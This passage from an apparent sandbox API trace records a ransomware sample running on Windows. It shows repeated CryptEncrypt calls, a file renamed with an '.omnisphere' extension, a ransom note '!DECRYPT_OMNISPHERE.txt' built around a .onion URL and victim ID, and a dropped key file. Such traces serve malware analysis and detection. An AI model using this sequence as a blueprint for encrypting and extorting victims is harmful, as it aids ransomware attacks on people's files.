0x115e0d7 [0120.287] GetTickCount () returned 0x115e0d7 [0120.287] GetTickCount () returned 0x115e0d7 [0120.287] GetTickCount () returned 0x115e0d7 [0120.287] GetTickCount () returned 0x115e0d7 [0120.287] GetTickCount () returned 0x115e0d7 [0120.287] GetTickCount () returned 0x115e0d7 [0120.287] GetTickCount () returned 0x115e0d7 [0120.287] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668e78) returned 1 [0120.287] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0120.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.288] CryptDestroyKey (hKey=0x1639868) returned 1 [0120.288] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0120.288] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e9, lpName=0x0) returned 0x288 [0120.288] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e9) returned 0x1480000 [0120.288] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0120.289] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639628) returned 1 [0120.289] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.289] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.290] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.291] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.292] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.292] CryptDestroyKey (hKey=0x1639628) returned 1 [0120.292] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0120.292] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.292] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.292] GetProcessHeap () returned 0x1600000 [0120.292] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16c9308 [0120.292] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hm8-exyem3fspzjtx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hm8-exyem3fspzjtx.lnk.omnisphere")) returned 1 [0120.293] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk.omnisphere.id" [0120.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hm8-exyem3fspzjtx.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.293] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.295] CloseHandle (hObject=0x3c0) returned 1 [0120.295] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.295] CloseHandle (hObject=0x288) returned 1 [0120.295] SetEndOfFile (hFile=0x28c) returned 1 [0120.295] FlushFileBuffers (hFile=0x28c) returned 1 [0120.315] CloseHandle (hObject=0x28c) returned 1 [0120.315] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.315] GetProcessHeap () returned 0x1600000 [0120.315] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0120.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.315] GetProcessHeap () returned 0x1600000 [0120.315] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1bb8 [0120.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1bb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.316] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.316] GetProcessHeap () returned 0x1600000 [0120.316] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0028 [0120.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0028, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.316] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.316] GetProcessHeap () returned 0x1600000 [0120.316] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf978 [0120.316] PathCombineW (in: pszDest=0x16bf978, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.316] GetProcessHeap () returned 0x1600000 [0120.316] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c7848 [0120.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.317] WriteFile (in: hFile=0x28c, lpBuffer=0x16c7848*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c7848*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.317] CloseHandle (hObject=0x28c) returned 1 [0120.317] GetProcessHeap () returned 0x1600000 [0120.317] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0120.317] GetProcessHeap () returned 0x1600000 [0120.317] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.317] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.317] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.317] CloseHandle (hObject=0x28c) returned 1 [0120.317] GetProcessHeap () returned 0x1600000 [0120.317] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.318] GetProcessHeap () returned 0x1600000 [0120.318] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bfae8 | out: hHeap=0x1600000) returned 1 [0120.318] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffdb3bc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ffdb3bc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1ffdb3bc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0xd3, cFileName="HVQiIJaQW.lnk", cAlternateFileName="HVQIIJ~1.LNK")) returned 1 [0120.318] 